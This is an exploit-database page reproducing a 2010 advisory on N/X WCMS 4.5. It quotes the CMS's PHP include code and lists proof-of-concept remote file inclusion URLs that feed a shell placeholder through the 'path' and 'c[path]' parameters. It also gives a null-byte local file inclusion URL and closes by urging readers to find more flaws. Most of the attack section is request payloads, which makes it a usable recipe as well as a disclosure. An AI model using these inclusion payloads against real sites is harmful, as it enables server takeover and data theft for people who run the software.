N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability

vendor:
N/X WCMS
by:
eidelweiss
9,3
CVSS
HIGH
Multiple Vulnerabilities
CWE
Product Name: N/X WCMS
Affected Version From: N/X WCMS 4.5
Affected Version To: N/X WCMS 4.5
Patch Exists: YES
Related CWE: CVE-2010-1490
CPE: a:nx-cms:n/x_wcms
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows, Linux, Mac
2010
N/X – Web CMS (N/X WCMS 4.5) Multiple Vulnerability

N/X WCMS 4.5 is prone to multiple vulnerabilities, including SQL-injection, cross-site scripting, and cross-site request-forgery vulnerabilities. An attacker can exploit these issues to manipulate SQL queries, steal cookie-based authentication credentials, control how the site is rendered to the user, and more.
Mitigation:

Upgrade to the latest version of N/X WCMS 4.5
Source
Exploit-DB raw data:

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
===================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ########################################          1
0                    I'm eidelweiss member from Inj3ct0r Team          1
1                    ########################################          0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Work If:	magic_quotes_gpc & magic_quotes_runtime Disable
Download:	http://sourceforge.net/projects/nxwcms/files/0.%20N_X%20WCMS%204.5%20System/4.5%20Release%201/nx45.zip/download

Author:		eidelweiss
Contact:	eidelweiss[at]cyberservices.com
Thank`s:	r0073r & 0x1D (inj3ct0r) , JosS , exploit-db team , [D]eal [C]yber
		sp3x (securityreason) get-well brother
Special To:	m4rc0 & LeQhi  (thank`s so much brother , respect to you)

Advisories:	http://eidelweiss-advisories.blogspot.com/2010/04/nx-web-cms-nx-wcms-45-multiple.html

========================================================================

Description:

N/X 4.0 is a powerful content management system for the web.
N/X CMS is focused on delivering content in many powerful ways.
Its functions and content-types can be extended with the plugin-interface and a very very powerful API. 

========================================================================

	-=[ VULN C0de ]=-

**************************************************
[-] nx_path/www/text.php
**************************************************

<?PHP
  require_once "nxheader.inc.php";
  include $cds->path."inc/header.php";

  // Start of individual template
  echo $cds->content->get("Headline");
  br();
  echo $cds->content->get("Body");  
  
 
  include $cds->path."inc/footer.php";
  require_once "nxfooter.inc.php";
?>

**************************************************
[-] nx_path/www/article.php
**************************************************

<?PHP
  require_once "nxheader.inc.php";
  require_once $cds->path."inc/header.php";

  // get the id of the article from the request
  // do type validation
  
  echo $cds->cluster->draw($article);
  br();
  br();
    
  // link back to the page where the article was called    
  echo $cds->content->get("Backlink Title");
  
  require_once $cds->path."inc/footer.php";
  require_once "nxfooter.inc.php";
?>

**************************************************
[-] nx_path/www/article_overview.php
**************************************************
<?PHP
  require_once "nxheader.inc.php";
  require_once $cds->path."inc/header.php";	// line 3

	*****

  require_once $cds->path."inc/footer.php";	// line 42
  require_once "nxfooter.inc.php";
?>

**************************************************
[-] nx_path/www/sitemap.php
**************************************************

<?PHP
  require_once "nxheader.inc.php";
  include $cds->path."inc/header.php";	// line 3

	*****

  include $cds->path."inc/footer.php";		// line 56
  require_once "nxfooter.inc.php";
?>

**************************************************
[-] nx_path/www/pagelayout.inc.php
**************************************************

**************************************************
[-] nx_path/www/nxheader.inc.php
**************************************************

<?php
	/*
	 * Include this file in your page-templates
	 */
	 if (isset($c["path"])) {
	 	require_once $c["path"]."config.inc.php";
	 } else {
	   require_once "../cms/config.inc.php";
	 }
	 include_once $c["path"]."api/cds/track_exit_pages.php";
	 require_once $c["path"]."api/cds/lib.inc.php";

	*****

	 if ($c["pagetracking"]  && ! $c["usewebbug"]) {
	    include_once $c["path"].'modules/stats/phpOpenTracker.php';	// line 31
	    @phpOpenTracker::log(array('document' => $page));	
	 }
	 require_once $c["path"]."ext/jpcache/jpcache.php";	// line 34

**************************************************
[-] nx_path/cms/api/xml/lib.inc.php
**************************************************
<?
	require_once $c["path"] . "api/xml/xpath.class.php";
   require_once $c["path"] . "api/xml/meta.php";
   require_once $c["path"] . "api/xml/plugin.php";
   require_once $c["path"] . "api/xml/cluster_template.php";
   require_once $c["path"] . "api/xml/cluster.php";   
   require_once $c["path"] . "api/xml/sitepage_master.php"; 
   require_once $c["path"] . "api/xml/syndication.php"; 
   require_once $c["path"] . "api/xml/xmlapi_prepare.php";
?>

**************************************************
[-] nx_path/cms/api/parser/lib.inc.php
**************************************************
<?
	require_once $c["path"] . "api/parser/nxparser.php";
	require_once $c["path"] . "api/parser/class.filemanipulation.php";
	require_once $c["path"] . "api/parser/class.mso2003.php";
	require_once $c["path"] . "api/parser/class.openoffice.php";
	require_once $c["path"] . "api/parser/nx2html.php";
	require_once $c["path"] . "api/parser/html2nx.php";
	require_once $c["path"] . "api/parser/launch_text.php";
	require_once $c["path"] . "api/parser/importhtml.php";
	require_once $c["path"] . "api/parser/importtext.php";
?>

**************************************************
[-] nx_path/cms/api/cms/lib.inc.php
**************************************************
<?
	require_once $c["path"] . "api/cms/cache.php";
    require_once $c["path"] . "api/cms/journal.php";
	require_once $c["path"] . "api/cms/launch.php";
	require_once $c["path"] . "api/cms/mass_operations.php";
	require_once $c["path"] . "api/cms/oiddictionary.php";
	require_once $c["path"] . "api/cms/paths.php";
	require_once $c["path"] . "api/cms/plugin.php";
	require_once $c["path"] . "api/cms/image.php";
	require_once $c["path"] . "api/cms/sitepages.php";
	require_once $c["path"] . "api/cms/sitepage_master.php";
	require_once $c["path"] . "api/cms/synchronize.php";
	require_once $c["path"] . "api/cms/cdsinformation.php";
	require_once $c["path"] . "api/cms/acl/lib.inc.php";
	require_once $c["path"] . "api/cms/log.php";
    require_once $c["path"] . "api/cms/meta.php";
    require_once $c["path"] . "api/cms/cluster_template.php";
    require_once $c["path"] . "api/cms/cluster.php";
    require_once $c["path"] . "api/cms/channel.php";
    require_once $c["path"] . "api/cms/design.class.php";
    require_once $c["path"] . "api/cms/designclasses.php"
?>
========================================================================

	-=[ P0C RFI ]=-

	http://127.0.0.1/[NX_PATH]/www/text.php?path= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/www/article.php?path= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/www/article_overview.php?path= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/www/sitemap.php?path= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/www/pagelayout.inc.php?c[path]= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/www/nxheader.inc.php?c[path]= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/cms/api/xml/lib.inc.php?c[path]= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/cms/api/parser/lib.inc.php?c[path]= [inj3ct0r sh3ll]
	http://127.0.0.1/[NX_PATH]/cms/api/cms/lib.inc.php?c[path]= [inj3ct0r sh3ll]

	etc , etc ,etc


	-=[ P0C LFI ]=-

	http://127.0.0.1/[NX_PATH]/www/nxheader.inc.php?page= [LFI]%00

	etc , etc , etc,

[*] So many vulnerability here , use your skill and play your imagination [*]
[*] vuln in  NX_path/wwwdev Directory i thing same with vuln in NX_path/www that`s why i don`t put here [*]

=========================| -=[ E0F ]=- |=================================